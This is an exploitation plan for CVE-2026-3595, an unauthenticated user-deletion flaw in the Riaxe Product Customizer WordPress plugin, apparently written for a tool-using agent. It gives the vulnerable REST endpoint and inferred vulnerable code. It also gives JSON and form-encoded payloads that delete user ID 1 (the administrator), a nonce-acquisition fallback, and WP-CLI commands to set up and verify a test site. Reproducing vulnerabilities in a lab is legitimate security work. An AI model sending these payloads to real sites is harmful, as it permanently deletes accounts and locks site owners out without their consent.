Riaxe Product Customizer <= 2.1.2 - Unauthenticated Arbitrary User Deletion via 'user_id' Parameter

This research plan outlines the steps to exploit CVE-2026-3595, an unauthenticated arbitrary user deletion vulnerability in the Riaxe Product Customizer plugin.

---

1. Vulnerability Summary

The Riaxe Product Customizer plugin for WordPress (versions up to 2.1.2) registers a REST API route POST /wp-json/InkXEProductDesignerLite/customer/delete_customer without providing a permission_callback. In WordPress REST API registration, an absent or improperly defined permission_callback allows the endpoint to be accessed by unauthenticated users. The callback function associated with this route, inkxe_delete_customer(), accepts an array of user IDs from the request body and passes them directly to the core WordPress function wp_delete_user() without any identity verification or capability checks.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/InkXEProductDesignerLite/customer/delete_customer
• Namespace/Route: InkXEProductDesignerLite/customer/delete_customer
• Method: POST
• Vulnerable Parameter: user_id (expected as an array/list of integers)
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active. The attacker needs to know or guess the ID of the user they wish to delete (e.g., ID 1 is almost always the initial administrator).

3. Code Flow (Inferred)

1. Route Registration: The plugin uses the rest_api_init hook to register the route.

   // Inferred registration logic
   register_rest_route('InkXEProductDesignerLite', '/customer/delete_customer', array(
       'methods' => 'POST',
       'callback' => 'inkxe_delete_customer',
       // Missing 'permission_callback'
   ));
   

2. Request Handling: When a POST request is sent to the endpoint, WordPress dispatches it to inkxe_delete_customer($request).
3. Vulnerable Callback:

   function inkxe_delete_customer($request) {
       $params = $request->get_json_params(); // or get_params()
       $user_ids = $params['user_id']; 
       // Logic likely iterates through $user_ids and calls:
       foreach ($user_ids as $id) {
           wp_delete_user($id);
       }
   }
   

4. Sink: wp_delete_user() executes, removing the user from the database.

4. Nonce Acquisition Strategy

According to the vulnerability description, this endpoint lacks a permission_callback, which typically means it is publicly accessible. In the WordPress REST API, unauthenticated (public) endpoints usually do not require a _wpnonce or X-WP-Nonce header unless the site has specific global restrictions.

Strategy:

1. First attempt the exploit without a nonce.
2. If the server returns a 403 Forbidden with a "rest_cookie_invalid_nonce" error, the agent should attempt to obtain a REST nonce.
   • Action String: wp_rest
   • Acquisition Method:
     1. Navigate to the site's homepage or any public page.
     2. Use browser_eval to check if a nonce is localized. Common keys: window.wpApiSettings.nonce.
     3. Alternatively, check the HTML source for _wpnonce in scripts.

5. Exploitation Strategy

The goal is to delete a specific user (e.g., the primary administrator with ID 1).

• Target URL: http://<target-site>/wp-json/InkXEProductDesignerLite/customer/delete_customer
• HTTP Method: POST
• Content-Type: application/json
• Payload:

  {
      "user_id": [1]
  }
  

Step-by-step Plan:

1. Discovery: Verify the endpoint exists by sending a GET request to /wp-json/InkXEProductDesignerLite/customer/. If it returns a 404, the plugin may not be active or the namespace differs.
2. Execution: Use the http_request tool to send the POST payload.
3. Cleanup: No cleanup is possible as the user is deleted.

6. Test Data Setup

To safely verify this without locking yourself out:

1. Create a "Victim" user with Administrator privileges via WP-CLI:
   wp user create victim victim@example.com --role=administrator --user_pass=password123
2. Note the ID of the created user:
   wp user list --field=ID --user_login=victim (Let's assume the ID is 2).
3. The exploit will target user ID 2.

7. Expected Results

• Successful Exploit: The server returns 200 OK or 204 No Content.
• Plugin Behavior: The user record associated with the provided ID is permanently removed from the wp_users and wp_usermeta tables.
• Site Impact: If an admin is deleted, they can no longer log in.

8. Verification Steps

After sending the HTTP request, verify the deletion using WP-CLI:

1. Check if the user still exists:
   wp user get 2
2. Expected output: Error: Invalid user ID, email or login: '2'
3. Alternatively, list all users to ensure the ID is missing:
   wp user list

9. Alternative Approaches

If a JSON payload fails, the plugin might be expecting standard URL-encoded form data.

• Alternative Payload (Form-encoded):
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body: user_id[]=2
• Alternative Parameter Structure:
  • Try passing a single integer instead of an array: {"user_id": 2}.
  • Try passing the ID as a string within the array: {"user_id": ["2"]}.